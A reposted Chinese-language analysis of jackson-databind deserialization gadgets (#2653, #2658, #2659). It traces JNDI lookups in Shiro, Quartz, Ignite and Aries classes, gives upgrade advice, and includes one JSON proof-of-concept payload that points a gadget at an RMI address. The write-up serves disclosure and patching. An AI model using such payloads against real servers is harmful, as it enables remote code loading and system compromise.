jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暫無cve


powered by UnicodeSec

不受影響的版本

jackson-databind >= 2.9.10.4
jackson-databind >= 2.10.0

如果你的業務中即存在jackson,並且開啟了enableDefaultTypeing功能,又存在相關受影響的jar包,請更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing

可以查詢jackson的黑名單過濾列表,分析相關poc,在如下網址

https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed

#2653 shiro jndi注入

org.apache.shiro.jndi.JndiObjectFactory

該處代碼如下

public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {

    private String resourceName;
    private Class<? extends T> requiredType;

    public T getInstance() {
        try {
            if(requiredType != null) {
                return requiredType.cast(this.lookup(resourceName, requiredType));
            } else {
                return (T) this.lookup(resourceName);
            }
        } catch (NamingException e) {
            final String typeName = requiredType != null ? requiredType.getName() : "object";
            throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
        }
    }
}

我們可以從JndiObjectFactory中看出,getInstance會調用lookup去查找rmi。如果存在requiredType,則轉換為相關class,如果不存在就不會強轉。JndiObjectFactory繼承自JndiLocator,所以我們去JndiLocator的lookup函數繼續分析,JndiLocator的lookup代碼如下

    protected Object lookup(String jndiName, Class requiredType) throws NamingException {
        String convertedName = convertJndiName(jndiName);
        Object jndiObject;
        try {
            jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
        }
//... 省略不相關代碼
        return jndiObject;
    }

可以很清楚的看到,首先將jndiName轉換,然后繼續調用getJndiTemplate().lookup函數,getJndiTemplate().lookup的代碼如下

    public Object lookup(String name, Class requiredType) throws NamingException {
        Object jndiObject = lookup(name);
        if (requiredType != null && !requiredType.isInstance(jndiObject)) {
            String msg = "Jndi object acquired under name '" + name + "' is of type [" +
                    jndiObject.getClass().getName() + "] and not assignable to the required type [" +
                    requiredType.getName() + "].";
            throw new NamingException(msg);
        }
        return jndiObject;
    }

首先調用lookup,然后根據用戶傳入的參數,將rmi遠程獲取的類強制轉換為用戶提供的requiredType類,假如requiredType為null,則不去強制轉換。

lookup函數如下

    public Object lookup(final String name) throws NamingException {
        log.debug("Looking up JNDI object with name '{}'", name);
        return execute(new JndiCallback() {
            public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);
                if (located == null) {
                    throw new NameNotFoundException(
                            "JNDI object with [" + name + "] not found: JNDI implementation returned null");
                }
                return located;
            }
        });
    }

該處存在典型的jndi注入。用戶可以控制lookup的name參數,可以訪問惡意rmi服務器去獲取帶有惡意信息的類。

poc
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]

org.apache.shiro.realm.jndi.JndiRealmFactory

首先查看org.apache.shiro.realm.jndi.JndiRealmFactory的代碼

    public Collection<Realm> getRealms() throws IllegalStateException {
// ... 省略
        for (String name : jndiNames) {
            try {
                Realm realm = (Realm) lookup(name, Realm.class);
                realms.add(realm);
            } catch (Exception e) {
                throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
            }
        }
        return realms.isEmpty() ? null : realms;
    }

可以很明顯看出,在getRealms函數中,會調用lookup去作為rmi的參數。而lookup函數,其實就是上一個gadget的lookup函數。poc與上一個類似。

#2658

該樓棟編號有三個gadget

  1. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
  2. org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory
  3. org.quartz.utils.JNDIConnectionProvider

org.quartz.utils.JNDIConnectionProvider

在getConnection中存在rmi的lookup函數調用,並且該參數可以通過jackson在反序列化的時候設置

https://github.com/quartz-scheduler/quartz/blob/master/quartz-core/src/main/java/org/quartz/utils/JNDIConnectionProvider.java

        Context ctx = null;
        try {
            Object ds = this.datasource;

            if (ds == null || isAlwaysLookup()) {
                ctx = (props != null) ? new InitialContext(props): new InitialContext(); 

                ds = ctx.lookup(url);
                if (!isAlwaysLookup()) {
                    this.datasource = ds;
                }
            }

其他兩個與該處gadget類似,故不再描述

#2659

該漏洞存在與org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代碼中是否存在rmi的lookup引用

https://www.javatips.net/api/aries-master/aries-trunk/transaction/transaction-jms/src/main/java/org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

    public TransactionManager getTransactionManager() {
        if (transactionManager == null && tmFromJndi) {
            try {
                transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
            } catch (Throwable ignored) {
                if (LOG.isTraceEnabled()) {
                    LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
                }
            }
        }
        return transactionManager;
    }

在getTransactionManager函數中調用rmi的lookup函數。可以通過jackson去注入惡意參數


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM